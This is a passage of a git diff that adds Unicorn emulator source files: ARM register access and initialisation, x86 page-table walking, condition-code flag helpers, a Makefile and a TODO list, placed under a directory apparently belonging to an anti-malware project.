b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/unicorn_arm.c @@ -0,0 +1,243 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh , 2015 */ + +#include "hw/boards.h" +#include "hw/arm/arm.h" +#include "sysemu/cpus.h" +#include "unicorn.h" +#include "cpu.h" +#include "unicorn_common.h" +#include "uc_priv.h" + +const int ARM_REGS_STORAGE_SIZE = offsetof(CPUARMState, tlb_table); + +static void arm_set_pc(struct uc_struct *uc, uint64_t address) +{ + ((CPUARMState *)uc->current_cpu->env_ptr)->pc = address; + ((CPUARMState *)uc->current_cpu->env_ptr)->regs[15] = address; +} + +void arm_release(void* ctx); + +void arm_release(void* ctx) +{ + ARMCPU* cpu; + struct uc_struct* uc; + TCGContext *s = (TCGContext *) ctx; + + g_free(s->tb_ctx.tbs); + uc = s->uc; + cpu = (ARMCPU*) uc->cpu; + g_free(cpu->cpreg_indexes); + g_free(cpu->cpreg_values); + g_free(cpu->cpreg_vmstate_indexes); + g_free(cpu->cpreg_vmstate_values); + + release_common(ctx); +} + +void arm_reg_reset(struct uc_struct *uc) +{ + CPUArchState *env; + (void)uc; + + env = uc->cpu->env_ptr; + memset(env->regs, 0, sizeof(env->regs)); + + env->pc = 0; +} + +/* these functions are implemented in helper.c. */ +#include "exec/helper-head.h" +uint32_t HELPER(v7m_mrs)(CPUARMState *env, uint32_t reg); +void HELPER(v7m_msr)(CPUARMState *env, uint32_t reg, uint32_t val); + +int arm_reg_read(struct uc_struct *uc, unsigned int *regs, void **vals, int count) +{ + CPUState *mycpu; + int i; + + mycpu = uc->cpu; + + for (i = 0; i < count; i++) { + unsigned int regid = regs[i]; + void *value = vals[i]; + if (regid >= UC_ARM_REG_R0 && regid <= UC_ARM_REG_R12) + *(int32_t *)value = ARM_CPU(uc, mycpu)->env.regs[regid - UC_ARM_REG_R0]; + else if (regid >= UC_ARM_REG_D0 && regid <= UC_ARM_REG_D31) + *(float64 *)value = ARM_CPU(uc, mycpu)->env.vfp.regs[regid - UC_ARM_REG_D0]; + else { + switch(regid) { + case UC_ARM_REG_APSR: + *(int32_t *)value = cpsr_read(&ARM_CPU(uc, mycpu)->env) & (CPSR_NZCV | CPSR_Q | CPSR_GE); + break; + case UC_ARM_REG_APSR_NZCV: + *(int32_t *)value = cpsr_read(&ARM_CPU(uc, mycpu)->env) & CPSR_NZCV; + break; + case UC_ARM_REG_CPSR: + *(int32_t *)value = cpsr_read(&ARM_CPU(uc, mycpu)->env); + break; + case UC_ARM_REG_SPSR: + *(int32_t *)value = ARM_CPU(uc, mycpu)->env.spsr; + break; + //case UC_ARM_REG_SP: + case UC_ARM_REG_R13: + *(int32_t *)value = ARM_CPU(uc, mycpu)->env.regs[13]; + break; + //case UC_ARM_REG_LR: + case UC_ARM_REG_R14: + *(int32_t *)value = ARM_CPU(uc, mycpu)->env.regs[14]; + break; + //case UC_ARM_REG_PC: + case UC_ARM_REG_R15: + *(int32_t *)value = ARM_CPU(uc, mycpu)->env.regs[15]; + break; + case UC_ARM_REG_C1_C0_2: + *(int32_t *)value = ARM_CPU(uc, mycpu)->env.cp15.c1_coproc; + break; + case UC_ARM_REG_C13_C0_3: + *(int32_t *)value = ARM_CPU(uc, mycpu)->env.cp15.tpidrro_el0; + break; + case UC_ARM_REG_FPEXC: + *(int32_t *)value = ARM_CPU(uc, mycpu)->env.vfp.xregs[ARM_VFP_FPEXC]; + break; + case UC_ARM_REG_IPSR: + *(uint32_t *)value = xpsr_read(&ARM_CPU(uc, mycpu)->env) & 0x1ff; + break; + case UC_ARM_REG_MSP: + *(uint32_t *)value = helper_v7m_mrs(&ARM_CPU(uc, mycpu)->env, 8); + break; + case UC_ARM_REG_PSP: + *(uint32_t *)value = helper_v7m_mrs(&ARM_CPU(uc, mycpu)->env, 9); + break; + case UC_ARM_REG_CONTROL: + *(uint32_t *)value = helper_v7m_mrs(&ARM_CPU(uc, mycpu)->env, 20); + break; + } + } + } + + return 0; +} + +int arm_reg_write(struct uc_struct *uc, unsigned int *regs, void* const* vals, int count) +{ + CPUState *mycpu = uc->cpu; + int i; + + for (i = 0; i < count; i++) { + unsigned int regid = regs[i]; + const void *value = vals[i]; + if (regid >= UC_ARM_REG_R0 && regid <= UC_ARM_REG_R12) + ARM_CPU(uc, mycpu)->env.regs[regid - UC_ARM_REG_R0] = *(uint32_t *)value; + else if (regid >= UC_ARM_REG_D0 && regid <= UC_ARM_REG_D31) + ARM_CPU(uc, mycpu)->env.vfp.regs[regid - UC_ARM_REG_D0] = *(float64 *)value; + else { + switch(regid) { + case UC_ARM_REG_APSR: + cpsr_write(&ARM_CPU(uc, mycpu)->env, *(uint32_t *)value, (CPSR_NZCV | CPSR_Q | CPSR_GE)); + break; + case UC_ARM_REG_APSR_NZCV: + cpsr_write(&ARM_CPU(uc, mycpu)->env, *(uint32_t *)value, CPSR_NZCV); + break; + case UC_ARM_REG_CPSR: + cpsr_write(&ARM_CPU(uc, mycpu)->env, *(uint32_t *)value, ~0); + break; + case UC_ARM_REG_SPSR: + ARM_CPU(uc, mycpu)->env.spsr = *(uint32_t *)value; + break; + //case UC_ARM_REG_SP: + case UC_ARM_REG_R13: + ARM_CPU(uc, mycpu)->env.regs[13] = *(uint32_t *)value; + break; + //case UC_ARM_REG_LR: + case UC_ARM_REG_R14: + ARM_CPU(uc, mycpu)->env.regs[14] = *(uint32_t *)value; + break; + //case UC_ARM_REG_PC: + case UC_ARM_REG_R15: + ARM_CPU(uc, mycpu)->env.pc = (*(uint32_t *)value & ~1); + ARM_CPU(uc, mycpu)->env.thumb = (*(uint32_t *)value & 1); + ARM_CPU(uc, mycpu)->env.uc->thumb = (*(uint32_t *)value & 1); + ARM_CPU(uc, mycpu)->env.regs[15] = (*(uint32_t *)value & ~1); + // force to quit execution and flush TB + uc->quit_request = true; + uc_emu_stop(uc); + + break; + case UC_ARM_REG_C1_C0_2: + ARM_CPU(uc, mycpu)->env.cp15.c1_coproc = *(int32_t *)value; + break; + + case UC_ARM_REG_C13_C0_3: + ARM_CPU(uc, mycpu)->env.cp15.tpidrro_el0 = *(int32_t *)value; + break; + case UC_ARM_REG_FPEXC: + ARM_CPU(uc, mycpu)->env.vfp.xregs[ARM_VFP_FPEXC] = *(int32_t *)value; + break; + case UC_ARM_REG_IPSR: + xpsr_write(&ARM_CPU(uc, mycpu)->env, *(uint32_t *)value, 0x1ff); + break; + case UC_ARM_REG_MSP: + helper_v7m_msr(&ARM_CPU(uc, mycpu)->env, 8, *(uint32_t *)value); + break; + case UC_ARM_REG_PSP: + helper_v7m_msr(&ARM_CPU(uc, mycpu)->env, 9, *(uint32_t *)value); + break; + case UC_ARM_REG_CONTROL: + helper_v7m_msr(&ARM_CPU(uc, mycpu)->env, 20, *(uint32_t *)value); + break; + } + } + } + + return 0; +} + +static bool arm_stop_interrupt(int intno) +{ + switch(intno) { + default: + return false; + case EXCP_UDEF: + case EXCP_YIELD: + return true; + } +} + +static uc_err arm_query(struct uc_struct *uc, uc_query_type type, size_t *result) +{ + CPUState *mycpu = uc->cpu; + uint32_t mode; + + switch(type) { + case UC_QUERY_MODE: + // zero out ARM/THUMB mode + mode = uc->mode & ~(UC_MODE_ARM | UC_MODE_THUMB); + // THUMB mode or ARM MOde + mode += ((ARM_CPU(uc, mycpu)->env.thumb != 0)? UC_MODE_THUMB : UC_MODE_ARM); + *result = mode; + return UC_ERR_OK; + default: + return UC_ERR_ARG; + } +} + +#ifdef TARGET_WORDS_BIGENDIAN +void armeb_uc_init(struct uc_struct* uc) +#else +void arm_uc_init(struct uc_struct* uc) +#endif +{ + register_accel_types(uc); + arm_cpu_register_types(uc); + tosa_machine_init(uc); + uc->reg_read = arm_reg_read; + uc->reg_write = arm_reg_write; + uc->reg_reset = arm_reg_reset; + uc->set_pc = arm_set_pc; + uc->stop_interrupt = arm_stop_interrupt; + uc->release = arm_release; + uc->query = arm_query; + uc_common_init(uc); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/Makefile.objs b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/Makefile.objs new file mode 100644 index 0000000..98cb3e3 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/Makefile.objs @@ -0,0 +1,5 @@ +obj-y += translate.o helper.o cpu.o +obj-y += excp_helper.o fpu_helper.o cc_helper.o int_helper.o svm_helper.o +obj-y += smm_helper.o misc_helper.o mem_helper.o seg_helper.o +obj-$(CONFIG_SOFTMMU) += arch_memory_mapping.o +obj-y += unicorn.o diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/TODO b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/TODO new file mode 100644 index 0000000..a8d69cf --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/TODO @@ -0,0 +1,31 @@ +Correctness issues: + +- some eflags manipulation incorrectly reset the bit 0x2. +- SVM: test, cpu save/restore, SMM save/restore. +- x86_64: lcall/ljmp intel/amd differences ? +- better code fetch (different exception handling + CS.limit support) +- user/kernel PUSHL/POPL in helper.c +- add missing cpuid tests +- return UD exception if LOCK prefix incorrectly used +- test ldt limit < 7 ? +- fix some 16 bit sp push/pop overflow (pusha/popa, lcall lret) +- full support of segment limit/rights +- full x87 exception support +- improve x87 bit exactness (use bochs code ?) +- DRx register support +- CR0.AC emulation +- SSE alignment checks + +Optimizations/Features: + +- add SVM nested paging support +- add VMX support +- add AVX support +- add SSE5 support +- fxsave/fxrstor AMD extensions +- improve monitor/mwait support +- faster EFLAGS update: consider SZAP, C, O can be updated separately + with a bit field in CC_OP and more state variables. +- evaluate x87 stack pointer statically +- find a way to avoid translating several time the same TB if CR0.TS + is set or not. diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/arch_memory_mapping.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/arch_memory_mapping.c new file mode 100644 index 0000000..e66ebc9 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/arch_memory_mapping.c @@ -0,0 +1,279 @@ +/* + * i386 memory mapping + * + * Copyright Fujitsu, Corp. 2011, 2012 + * + * Authors: + * Wen Congyang + * + * This work is licensed under the terms of the GNU GPL, version 2 or later. + * See the COPYING file in the top-level directory. + * + */ + +#include "cpu.h" +#include "exec/cpu-all.h" +#include "sysemu/memory_mapping.h" + +/* PAE Paging or IA-32e Paging */ +static void walk_pte(MemoryMappingList *list, AddressSpace *as, + hwaddr pte_start_addr, + int32_t a20_mask, target_ulong start_line_addr) +{ + hwaddr pte_addr, start_paddr; + uint64_t pte; + target_ulong start_vaddr; + int i; + + for (i = 0; i < 512; i++) { + pte_addr = (pte_start_addr + i * 8) & a20_mask; + pte = ldq_phys(as, pte_addr); + if (!(pte & PG_PRESENT_MASK)) { + /* not present */ + continue; + } + + start_paddr = (pte & ~0xfff) & ~(0x1ULL << 63); + if (cpu_physical_memory_is_io(as, start_paddr)) { + /* I/O region */ + continue; + } + + start_vaddr = start_line_addr | ((i & 0x1ff) << 12); + memory_mapping_list_add_merge_sorted(list, start_paddr, + start_vaddr, 1 << 12); + } +} + +/* 32-bit Paging */ +static void walk_pte2(MemoryMappingList *list, AddressSpace *as, + hwaddr pte_start_addr, int32_t a20_mask, + target_ulong start_line_addr) +{ + hwaddr pte_addr, start_paddr; + uint32_t pte; + target_ulong start_vaddr; + int i; + + for (i = 0; i < 1024; i++) { + pte_addr = (pte_start_addr + i * 4) & a20_mask; + pte = ldl_phys(as, pte_addr); + if (!(pte & PG_PRESENT_MASK)) { + /* not present */ + continue; + } + + start_paddr = pte & ~0xfff; + if (cpu_physical_memory_is_io(as, start_paddr)) { + /* I/O region */ + continue; + } + + start_vaddr = start_line_addr | ((i & 0x3ff) << 12); + memory_mapping_list_add_merge_sorted(list, start_paddr, + start_vaddr, 1 << 12); + } +} + +/* PAE Paging or IA-32e Paging */ +#define PLM4_ADDR_MASK 0xffffffffff000ULL /* selects bits 51:12 */ + +static void walk_pde(MemoryMappingList *list, AddressSpace *as, + hwaddr pde_start_addr, + int32_t a20_mask, target_ulong start_line_addr) +{ + hwaddr pde_addr, pte_start_addr, start_paddr; + uint64_t pde; + target_ulong line_addr, start_vaddr; + int i; + + for (i = 0; i < 512; i++) { + pde_addr = (pde_start_addr + i * 8) & a20_mask; + pde = ldq_phys(as, pde_addr); + if (!(pde & PG_PRESENT_MASK)) { + /* not present */ + continue; + } + + line_addr = start_line_addr | ((i & 0x1ff) << 21); + if (pde & PG_PSE_MASK) { + /* 2 MB page */ + start_paddr = (pde & ~0x1fffff) & ~(0x1ULL << 63); + if (cpu_physical_memory_is_io(as, start_paddr)) { + /* I/O region */ + continue; + } + start_vaddr = line_addr; + memory_mapping_list_add_merge_sorted(list, start_paddr, + start_vaddr, 1 << 21); + continue; + } + + pte_start_addr = (pde & PLM4_ADDR_MASK) & a20_mask; + walk_pte(list, as, pte_start_addr, a20_mask, line_addr); + } +} + +/* 32-bit Paging */ +static void walk_pde2(MemoryMappingList *list, AddressSpace *as, + hwaddr pde_start_addr, int32_t a20_mask, + bool pse) +{ + hwaddr pde_addr, pte_start_addr, start_paddr, high_paddr; + uint32_t pde; + target_ulong line_addr, start_vaddr; + int i; + + for (i = 0; i < 1024; i++) { + pde_addr = (pde_start_addr + i * 4) & a20_mask; + pde = ldl_phys(as, pde_addr); + if (!(pde & PG_PRESENT_MASK)) { + /* not present */ + continue; + } + + line_addr = (((unsigned int)i & 0x3ff) << 22); + if ((pde & PG_PSE_MASK) && pse) { + /* + * 4 MB page: + * bits 39:32 are bits 20:13 of the PDE + * bit3 31:22 are bits 31:22 of the PDE + */ + high_paddr = ((hwaddr)(pde & 0x1fe000) << 19); + start_paddr = (pde & ~0x3fffff) | high_paddr; + if (cpu_physical_memory_is_io(as, start_paddr)) { + /* I/O region */ + continue; + } + start_vaddr = line_addr; + memory_mapping_list_add_merge_sorted(list, start_paddr, + start_vaddr, 1 << 22); + continue; + } + + pte_start_addr = (pde & ~0xfff) & a20_mask; + walk_pte2(list, as, pte_start_addr, a20_mask, line_addr); + } +} + +/* PAE Paging */ +static void walk_pdpe2(MemoryMappingList *list, AddressSpace *as, + hwaddr pdpe_start_addr, int32_t a20_mask) +{ + hwaddr pdpe_addr, pde_start_addr; + uint64_t pdpe; + target_ulong line_addr; + int i; + + for (i = 0; i < 4; i++) { + pdpe_addr = (pdpe_start_addr + i * 8) & a20_mask; + pdpe = ldq_phys(as, pdpe_addr); + if (!(pdpe & PG_PRESENT_MASK)) { + /* not present */ + continue; + } + + line_addr = (((unsigned int)i & 0x3) << 30); + pde_start_addr = (pdpe & ~0xfff) & a20_mask; + walk_pde(list, as, pde_start_addr, a20_mask, line_addr); + } +} + +#ifdef TARGET_X86_64 +/* IA-32e Paging */ +static void walk_pdpe(MemoryMappingList *list, AddressSpace *as, + hwaddr pdpe_start_addr, int32_t a20_mask, + target_ulong start_line_addr) +{ + hwaddr pdpe_addr, pde_start_addr, start_paddr; + uint64_t pdpe; + target_ulong line_addr, start_vaddr; + int i; + + for (i = 0; i < 512; i++) { + pdpe_addr = (pdpe_start_addr + i * 8) & a20_mask; + pdpe = ldq_phys(as, pdpe_addr); + if (!(pdpe & PG_PRESENT_MASK)) { + /* not present */ + continue; + } + + line_addr = start_line_addr | ((i & 0x1ffULL) << 30); + if (pdpe & PG_PSE_MASK) { + /* 1 GB page */ + start_paddr = (pdpe & ~0x3fffffff) & ~(0x1ULL << 63); + if (cpu_physical_memory_is_io(as, start_paddr)) { + /* I/O region */ + continue; + } + start_vaddr = line_addr; + memory_mapping_list_add_merge_sorted(list, start_paddr, + start_vaddr, 1 << 30); + continue; + } + + pde_start_addr = (pdpe & PLM4_ADDR_MASK) & a20_mask; + walk_pde(list, as, pde_start_addr, a20_mask, line_addr); + } +} + +/* IA-32e Paging */ +static void walk_pml4e(MemoryMappingList *list, AddressSpace *as, + hwaddr pml4e_start_addr, int32_t a20_mask) +{ + hwaddr pml4e_addr, pdpe_start_addr; + uint64_t pml4e; + target_ulong line_addr; + int i; + + for (i = 0; i < 512; i++) { + pml4e_addr = (pml4e_start_addr + i * 8) & a20_mask; + pml4e = ldq_phys(as, pml4e_addr); + if (!(pml4e & PG_PRESENT_MASK)) { + /* not present */ + continue; + } + + line_addr = ((i & 0x1ffULL) << 39) | (0xffffULL << 48); + pdpe_start_addr = (pml4e & PLM4_ADDR_MASK) & a20_mask; + walk_pdpe(list, as, pdpe_start_addr, a20_mask, line_addr); + } +} +#endif + +void x86_cpu_get_memory_mapping(CPUState *cs, MemoryMappingList *list, + Error **errp) +{ + X86CPU *cpu = X86_CPU(cs->uc, cs); + CPUX86State *env = &cpu->env; + + if (!cpu_paging_enabled(cs)) { + /* paging is disabled */ + return; + } + + if (env->cr[4] & CR4_PAE_MASK) { +#ifdef TARGET_X86_64 + if (env->hflags & HF_LMA_MASK) { + hwaddr pml4e_addr; + + pml4e_addr = (env->cr[3] & PLM4_ADDR_MASK) & env->a20_mask; + walk_pml4e(list, cs->as, pml4e_addr, env->a20_mask); + } else +#endif + { + hwaddr pdpe_addr; + + pdpe_addr = (env->cr[3] & ~0x1f) & env->a20_mask; + walk_pdpe2(list, cs->as, pdpe_addr, env->a20_mask); + } + } else { + hwaddr pde_addr; + bool pse; + + pde_addr = (env->cr[3] & ~0xfff) & env->a20_mask; + pse = !!(env->cr[4] & CR4_PSE_MASK); + walk_pde2(list, cs->as, pde_addr, env->a20_mask, pse); + } +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cc_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cc_helper.c new file mode 100644 index 0000000..29e3c42 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cc_helper.c @@ -0,0 +1,389 @@ +/* + * x86 condition code helpers + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "exec/helper-proto.h" + +const uint8_t parity_table[256] = { + CC_P, 0, 0, CC_P, 0, CC_P, CC_P, 0, + 0, CC_P, CC_P, 0, CC_P, 0, 0, CC_P, + 0, CC_P, CC_P, 0, CC_P, 0, 0, CC_P, + CC_P, 0, 0, CC_P, 0, CC_P, CC_P, 0, + 0, CC_P, CC_P, 0, CC_P, 0, 0, CC_P, + CC_P, 0, 0, CC_P, 0, CC_P, CC_P, 0, + CC_P, 0, 0, CC_P, 0, CC_P, CC_P, 0, + 0, CC_P, CC_P, 0, CC_P, 0, 0, CC_P, + 0, CC_P, CC_P, 0, CC_P, 0, 0, CC_P, + CC_P, 0, 0, CC_P, 0, CC_P, CC_P, 0, + CC_P, 0, 0, CC_P, 0, CC_P, CC_P, 0, + 0, CC_P, CC_P, 0, CC_P, 0, 0, CC_P, + CC_P, 0, 0, CC_P, 0, CC_P, CC_P, 0, + 0, CC_P, CC_P, 0, CC_P, 0, 0, CC_P, + 0, CC_P, CC_P, 0, CC_P, 0, 0, CC_P, + CC_P, 0, 0, CC_P, 0, CC_P, CC_P, 0, + 0, CC_P, CC_P, 0, CC_P, 0, 0, CC_P, + CC_P, 0, 0, CC_P, 0, CC_P, CC_P, 0, + CC_P, 0, 0, CC_P, 0, CC_P, CC_P, 0, + 0, CC_P, CC_P, 0, CC_P, 0, 0, CC_P, + CC_P, 0, 0, CC_P, 0, CC_P, CC_P, 0, + 0, CC_P, CC_P, 0, CC_P, 0, 0, CC_P, + 0, CC_P, CC_P, 0, CC_P, 0, 0, CC_P, + CC_P, 0, 0, CC_P, 0, CC_P, CC_P, 0, + CC_P, 0, 0, CC_P, 0, CC_P, CC_P, 0, + 0, CC_P, CC_P, 0, CC_P, 0, 0, CC_P, + 0, CC_P, CC_P, 0, CC_P, 0, 0, CC_P, + CC_P, 0, 0, CC_P, 0, CC_P, CC_P, 0, + 0, CC_P, CC_P, 0, CC_P, 0, 0, CC_P, + CC_P, 0, 0, CC_P, 0, CC_P, CC_P, 0, + CC_P, 0, 0, CC_P, 0, CC_P, CC_P, 0, + 0, CC_P, CC_P, 0, CC_P, 0, 0, CC_P, +}; + +#define SHIFT 0 +#include "cc_helper_template.h" +#undef SHIFT + +#define SHIFT 1 +#include "cc_helper_template.h" +#undef SHIFT + +#define SHIFT 2 +#include "cc_helper_template.h" +#undef SHIFT + +#ifdef TARGET_X86_64 + +#define SHIFT 3 +#include "cc_helper_template.h" +#undef SHIFT + +#endif + +static target_ulong compute_all_adcx(target_ulong dst, target_ulong src1, + target_ulong src2) +{ + return (src1 & ~CC_C) | (dst * CC_C); +} + +static target_ulong compute_all_adox(target_ulong dst, target_ulong src1, + target_ulong src2) +{ + return (src1 & ~CC_O) | (src2 * CC_O); +} + +static target_ulong compute_all_adcox(target_ulong dst, target_ulong src1, + target_ulong src2) +{ + return (src1 & ~(CC_C | CC_O)) | (dst * CC_C) | (src2 * CC_O); +} + +target_ulong helper_cc_compute_all(target_ulong dst, target_ulong src1, + target_ulong src2, int op) +{ + switch (op) { + default: /* should never happen */ + return 0; + + case CC_OP_EFLAGS: + return src1; + case CC_OP_CLR: + return CC_Z | CC_P; + + case CC_OP_MULB: + return compute_all_mulb(dst, src1); + case CC_OP_MULW: + return compute_all_mulw(dst, src1); + case CC_OP_MULL: + return compute_all_mull(dst, src1); + + case CC_OP_ADDB: + return compute_all_addb(dst, src1); + case CC_OP_ADDW: + return compute_all_addw(dst, src1); + case CC_OP_ADDL: + return compute_all_addl(dst, src1); + + case CC_OP_ADCB: + return compute_all_adcb(dst, src1, src2); + case CC_OP_ADCW: + return compute_all_adcw(dst, src1, src2); + case CC_OP_ADCL: + return compute_all_adcl(dst, src1, src2); + + case CC_OP_SUBB: + return compute_all_subb(dst, src1); + case CC_OP_SUBW: + return compute_all_subw(dst, src1); + case CC_OP_SUBL: + return compute_all_subl(dst, src1); + + case CC_OP_SBBB: + return compute_all_sbbb(dst, src1, src2); + case CC_OP_SBBW: + return compute_all_sbbw(dst, src1, src2); + case CC_OP_SBBL: + return compute_all_sbbl(dst, src1, src2); + + case CC_OP_LOGICB: + return compute_all_logicb(dst, src1); + case CC_OP_LOGICW: + return compute_all_logicw(dst, src1); + case CC_OP_LOGICL: + return compute_all_logicl(dst, src1); + + case CC_OP_INCB: + return compute_all_incb(dst, src1); + case CC_OP_INCW: + return compute_all_incw(dst, src1); + case CC_OP_INCL: + return compute_all_incl(dst, src1); + + case CC_OP_DECB: + return compute_all_decb(dst, src1); + case CC_OP_DECW: + return compute_all_decw(dst, src1); + case CC_OP_DECL: + return compute_all_decl(dst, src1); + + case CC_OP_SHLB: + return compute_all_shlb(dst, src1); + case CC_OP_SHLW: + return compute_all_shlw(dst, src1); + case CC_OP_SHLL: + return compute_all_shll(dst, src1); + + case CC_OP_SARB: + return compute_all_sarb(dst, src1); + case CC_OP_SARW: + return compute_all_sarw(dst, src1); + case CC_OP_SARL: + return compute_all_sarl(dst, src1); + + case CC_OP_BMILGB: + return compute_all_bmilgb(dst, src1); + case CC_OP_BMILGW: + return compute_all_bmilgw(dst, src1); + case CC_OP_BMILGL: + return compute_all_bmilgl(dst, src1); + + case CC_OP_ADCX: + return compute_all_adcx(dst, src1, src2); + case CC_OP_ADOX: + return compute_all_adox(dst, src1, src2); + case CC_OP_ADCOX: + return compute_all_adcox(dst, src1, src2); + +#ifdef TARGET_X86_64 + case CC_OP_MULQ: + return compute_all_mulq(dst, src1); + case CC_OP_ADDQ: + return compute_all_addq(dst, src1); + case CC_OP_ADCQ: + return compute_all_adcq(dst, src1, src2); + case CC_OP_SUBQ: + return compute_all_subq(dst, src1); + case CC_OP_SBBQ: + return compute_all_sbbq(dst, src1, src2); + case CC_OP_LOGICQ: + return compute_all_logicq(dst, src1); + case CC_OP_INCQ: + return compute_all_incq(dst, src1); + case CC_OP_DECQ: + return compute_all_decq(dst, src1); + case CC_OP_SHLQ: + return compute_all_shlq(dst, src1); + case CC_OP_SARQ: + return compute_all_sarq(dst, src1); + case CC_OP_BMILGQ: + return compute_all_bmilgq(dst, src1); +#endif + } +} + +uint32_t cpu_cc_compute_all(CPUX86State *env, int op) +{ + return (uint32_t)helper_cc_compute_all(CC_DST, CC_SRC, CC_SRC2, op); +} + +target_ulong helper_cc_compute_c(target_ulong dst, target_ulong src1, + target_ulong src2, int op) +{ + switch (op) { + default: /* should never happen */ + case CC_OP_LOGICB: + case CC_OP_LOGICW: + case CC_OP_LOGICL: + case CC_OP_LOGICQ: + case CC_OP_CLR: + return 0; + + case CC_OP_EFLAGS: + case CC_OP_SARB: + case CC_OP_SARW: + case CC_OP_SARL: + case CC_OP_SARQ: + case CC_OP_ADOX: + return src1 & 1; + + case CC_OP_INCB: + case CC_OP_INCW: + case CC_OP_INCL: + case CC_OP_INCQ: + case CC_OP_DECB: + case CC_OP_DECW: + case CC_OP_DECL: + case CC_OP_DECQ: + return src1; + + case CC_OP_MULB: + case CC_OP_MULW: + case CC_OP_MULL: + case CC_OP_MULQ: + return src1 != 0; + + case CC_OP_ADCX: + case CC_OP_ADCOX: + return dst; + + case CC_OP_ADDB: + return compute_c_addb(dst, src1); + case CC_OP_ADDW: + return compute_c_addw(dst, src1); + case CC_OP_ADDL: + return compute_c_addl(dst, src1); + + case CC_OP_ADCB: + return compute_c_adcb(dst, src1, src2); + case CC_OP_ADCW: + return compute_c_adcw(dst, src1, src2); + case CC_OP_ADCL: + return compute_c_adcl(dst, src1, src2); + + case CC_OP_SUBB: + return compute_c_subb(dst, src1); + case CC_OP_SUBW: + return compute_c_subw(dst, src1); + case CC_OP_SUBL: + return compute_c_subl(dst, src1); + + case CC_OP_SBBB: + return compute_c_sbbb(dst, src1, src2); + case CC_OP_SBBW: + return compute_c_sbbw(dst, src1, src2); + case CC_OP_SBBL: + return compute_c_sbbl(dst, src1, src2); + + case CC_OP_SHLB: + return compute_c_shlb(dst, src1); + case CC_OP_SHLW: + return compute_c_shlw(dst, src1); + case CC_OP_SHLL: + return compute_c_shll(dst, src1); + + case CC_OP_BMILGB: + return compute_c_bmilgb(dst, src1); + case CC_OP_BMILGW: + return compute_c_bmilgw(dst, src1); + case CC_OP_BMILGL: + return compute_c_bmilgl(dst, src1); + +#ifdef TARGET_X86_64 + case CC_OP_ADDQ: + return compute_c_addq(dst, src1); + case CC_OP_ADCQ: + return compute_c_adcq(dst, src1, src2); + case CC_OP_SUBQ: + return compute_c_subq(dst, src1); + case CC_OP_SBBQ: + return compute_c_sbbq(dst, src1, src2); + case CC_OP_SHLQ: + return compute_c_shlq(dst, src1); + case CC_OP_BMILGQ: + return compute_c_bmilgq(dst, src1); +#endif + } +} + +void helper_write_eflags(CPUX86State *env, target_ulong t0, + uint32_t update_mask) +{ + cpu_load_eflags(env, (int)t0, update_mask); +} + +target_ulong helper_read_eflags(CPUX86State *env) +{ + return cpu_compute_eflags(env); +} + +void helper_clts(CPUX86State *env) +{ + env->cr[0] &= ~CR0_TS_MASK; + env->hflags &= ~HF_TS_MASK; +} + +void helper_reset_rf(CPUX86State *env) +{ + env->eflags &= ~RF_MASK; +} + +void helper_cli(CPUX86State *env) +{ + env->eflags &= ~IF_MASK; +} + +void helper_sti(CPUX86State *env) +{ + env->eflags |= IF_MASK; +} + +void helper_clac(CPUX86State *env) +{ + env->eflags &= ~AC_MASK; +} + +void helper_stac(CPUX86State *env) +{ + env->eflags |= AC_MASK; +} + +#if 0 +/* vm86plus instructions */ +void helper_cli_vm(CPUX86State *env) +{ + env->eflags &= ~VIF_MASK; +} + +void helper_sti_vm(CPUX86State *env) +{ + env->eflags |= VIF_MASK; + if (env->eflags & VIP_MASK) { + raise_exception(env, EXCP0D_GPF); + } +} +#endif + +void helper_set_inhibit_irq(CPUX86State *env) +{ + env->hflags |= HF_INHIBIT_IRQ_MASK; +} + +void helper_reset_inhibit_irq(CPUX86State *env) +{ + env->hflags &= ~HF_INHIBIT_IRQ_MASK; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cc_helper_template.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cc_helper_template.h new file mode 100644 index 0000000..dc34d0d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cc_helper_template.h @@ -0,0 +1,242 @@ +/* + * x86 condition code helpers + * + * Copyright (c) 2008 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#define DATA_BITS (1 << (3 + SHIFT)) + +#if DATA_BITS == 8 +#define SUFFIX b +#define DATA_TYPE uint8_t +#elif DATA_BITS == 16 +#define SUFFIX w +#define DATA_TYPE uint16_t +#elif DATA_BITS == 32 +#define SUFFIX l +#define DATA_TYPE uint32_t +#elif DATA_BITS == 64 +#define SUFFIX q +#define DATA_TYPE uint64_t +#else +#error unhandled operand size +#endif + +#define SIGN_MASK (((DATA_TYPE)1) << (DATA_BITS - 1)) + +/* dynamic flags computation */ + +static int 